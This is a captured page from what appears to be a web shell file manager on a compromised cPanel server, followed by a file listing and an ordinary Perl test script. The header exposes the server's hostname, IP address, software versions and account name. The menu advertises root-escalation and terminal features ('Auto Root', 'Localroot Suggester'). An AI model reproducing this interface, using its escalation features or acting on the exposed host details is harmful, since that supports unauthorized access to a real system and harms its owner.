Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
run /
Delete
Unzip
Name
Size
Permission
Date
Action
flib
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
cloexec.t
5.73
KB
-r--r--r--
2014-12-27 11:49
dtrace.pl
3
B
-r--r--r--
2014-12-27 11:49
dtrace.t
4.86
KB
-r--r--r--
2014-12-27 11:49
exit.t
5.98
KB
-r--r--r--
2014-12-27 11:49
fresh_perl.t
16.34
KB
-r--r--r--
2014-12-27 11:49
locale.t
9.78
KB
-r--r--r--
2014-12-27 11:49
mad.t
984
B
-r--r--r--
2014-12-27 11:49
noswitch.t
250
B
-r--r--r--
2014-12-27 11:49
runenv.t
9.15
KB
-r--r--r--
2014-12-27 11:49
script.t
578
B
-r--r--r--
2014-12-27 11:49
switch0.t
154
B
-r--r--r--
2014-12-27 11:49
switchC.t
3.4
KB
-r--r--r--
2014-12-27 11:49
switchF.t
223
B
-r--r--r--
2014-12-27 11:49
switchF1.t
915
B
-r--r--r--
2014-12-27 11:49
switchF2.t
499
B
-r--r--r--
2014-12-27 11:49
switchI.t
849
B
-r--r--r--
2014-12-27 11:49
switchM.t
1.03
KB
-r--r--r--
2014-12-27 11:49
switcha.t
218
B
-r--r--r--
2014-12-27 11:49
switchd-78586.t
644
B
-r--r--r--
2014-12-27 11:49
switchd.t
6.93
KB
-r--r--r--
2014-12-27 11:49
switches.t
11.83
KB
-r--r--r--
2014-12-27 11:49
switchn.t
246
B
-r--r--r--
2014-12-27 11:49
switchp.t
314
B
-r--r--r--
2014-12-27 11:49
switcht.t
1.61
KB
-r--r--r--
2014-12-27 11:49
switchx.aux
396
B
-r--r--r--
2014-12-27 11:49
switchx.t
1.04
KB
-r--r--r--
2014-12-27 11:49
switchx2.aux
503
B
-r--r--r--
2014-12-27 11:49
switchx3.aux
50
B
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl BEGIN { chdir 't'; @INC = '../lib'; require './test.pl'; # for which_perl() etc plan(3); } my $Perl = which_perl(); my $filename = tempfile(); $x = `$Perl -le "print 'ok';"`; is($x, "ok\n", "Got expected 'perl -le' output"); open(try,">$filename") || (die "Can't open temp file."); print try 'print "ok\n";'; print try "\n"; close try or die "Could not close: $!"; $x = `$Perl $filename`; is($x, "ok\n", "Got expected output of command from script"); $x = `$Perl <$filename`; is($x, "ok\n", "Got expected output of command read from script");